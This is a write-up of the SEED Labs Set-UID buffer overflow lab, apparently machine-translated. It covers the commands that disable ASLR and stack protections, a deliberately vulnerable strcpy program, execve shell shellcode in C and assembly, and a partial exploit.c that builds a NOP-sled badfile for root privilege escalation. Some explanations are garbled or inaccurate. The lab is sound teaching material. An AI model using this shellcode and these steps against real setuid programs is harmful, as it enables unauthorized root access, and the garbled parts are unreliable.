Buffer Overflow Attack Lab (Set-UID Version)
Lab link: https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/
Experimental environment: ubuntu20 04
The aim of the attack is to obtain the uid permission of the attack buffer file by using the attack buffer permission of the over set
Experimental documents: Labsetup.zip
Experimental instruction:
Environment Setup
Because contemporary operating systems have made certain countermeasures against buffer overflow attacks (reducing their possibility), these countermeasures need to be turned off in this experiment.
Address Space Randomization
Some references: ASLR
Close ASLR command:
sudo sysctl -w kernel.randomize_va_space=0
When the value is 0, the ASLR is completely closed.
When the value is 1, ASLR is partially closed. Randomize only the base address of mmap, stack and vdso pages.
When the value is 2, ASLR is fully turned on. Increase the randomization of heap on the basis of partial opening.
Configuring /bin/sh configuring / bin/sh
The instruction states that in recent versions of Dash and Bash, some security mechanisms have been implemented to prevent it from being executed in the set uid process. So we're going to switch sh from Dash to Zsh.
Install Zsh first:
sudo apt install zsh
Then connect sh to Zsh:
sudo ln -sf /bin/zsh /bin/sh
StackGuard and non executable stack GCC provide two kinds of security protection
StackGuard:
Compiler stack protection technology in GCC
StackGuard and StackShield
It will be closed at compile time in subsequent experimental steps.
Task 1: familiarize yourself with shellcode
Three versions. Take the following code as an example.
C version shellcode
#include <stdio.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
32-bit shellcode
; Store the command on stack xor eax, eax push eax push "//sh" push "/bin" mov ebx, esp ; ebx --> "/bin//sh": execve()'s 1st argument ; Construct the argument array argv[] push eax ; argv[1] = 0 push ebx ; argv[0] --> "/bin//sh" mov ecx, esp ; ecx --> argv[]: execve()'s 2nd argument ; For environment variable xor edx, edx ; edx = 0: execve()'s 3rd argument ; Invoke execve() xor eax, eax ; mov al, 0x0b ; execve()'s system call number int 0x80
In 64 bit Ubuntu 20 An error will be encountered when compiling with gcc -m32 in the environment of - 04. The reason is that the dependency packages required by gcc to compile 32bit programs are incomplete.
Scheme: Ubuntu 64 compiles a 32 bit program using gcc -m32
resolvent:
Install dependent packages
sudo apt-get install gcc-multilib
64 bit shellcode
xor rdx, rdx ; rdx = 0: execve()'s 3rd argument push rdx mov rax, '/bin//sh' ; the command we want to run push rax ; mov rdi, rsp ; rdi --> "/bin//sh": execve()'s 1st argument push rdx ; argv[1] = 0 push rdi ; argv[0] --> "/bin//sh" mov rsi, rsp ; rsi --> argv[]: execve()'s 2nd argument xor rax, rax mov al, 0x3b ; execve()'s system call number syscall
Task 2: Understanding the Vulnerable Program
the Vulnerable Program is as follows:
#include <stdlib.h> #include <stdio.h> #include <string.h> /* Changing this size will change the layout of the stack. * Instructors can change this value each year, so students * won't be able to use the solutions from the past. */ #ifndef BUF_SIZE #define BUF_SIZE 100 #endif int bof(char *str) { char buffer[BUF_SIZE]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
It can be found that in the original input, the maximum length is 517. However, in bof(), buffer has only BUF_SIZE, the default value of 100 is much lower than 517.
The strcpy() function does not check the boundary, so a buffer overflow attack is generated.
Process of attack:
This program is owned by root and has set uid permission.
This program requires the input of a badfile file, which can be controlled by ordinary users.
Compile this program
Compile around security policy
Close StackGuard and non executable stack by specifying - fno stack protector and - z execstack options during gcc.
gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
Set its owner to root
sudo chown root stack
Set its permission to set uid
sudo chmod 4755 stack
Note that setting the owner must precede setting permissions. Because set uid is closed when the owner is modified.
Automatic compilation through Makefile
There is a Makefile file in the code directory. You can enter make on the command line to realize automatic compilation.
make
About the relationship between make and Makefile: make and Makefile under Linux
In this experiment, there will be four parameters in Makefile, and four kinds of vulnerable programs will be generated according to these four parameters. You can modify values in makefile to achieve customization.
Task 3: Launching Attack on 32-bit Program
Prior investigation
An important point for buffer overflow attacks is the distance between the start address of the buffer and the storage return address. Through this distance, we can understand how to construct badfile to attack.
- b bof: set breakpoint in bof() function
- Run: run in gdb mode
- Next: execute the next sentence (strcpy(buffer,str))
- p $ebp: get kernel DLL base address
- P & buffer: get buffer address
For the EBP register in step 4, refer to: Analyze ESP register and EBP register in detail
be careful:
In gdb mode, the value of frame pointer is different from that in normal mode. Because in gdb mode, some environment data will be written to the stack before running. In normal mode, there is no such data, so the frame pointer will be larger (you may wonder why it is larger rather than smaller: in intel system, the stack grows downward (the larger the stack is, the smaller the value is, and the heap is just the opposite). You can refer to the connection of EBP above).
Launch an attack
Use an exploit C to complete the attack.
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0\x0b" "\xcd\x80" ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* Fill the buffer with appropriate contents here. The length of \x90\x90 depends on the stack.c bof() buffer length. The last four property is the location of shellcode */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
You need to know the specific location of shellcode. Can pass
gdb stack disass main
Then find the esp location and know the address location of shellcode.
Then put the last "/ x??? / x??? / x??? / x???" In?? Replace with the corresponding shellcode address.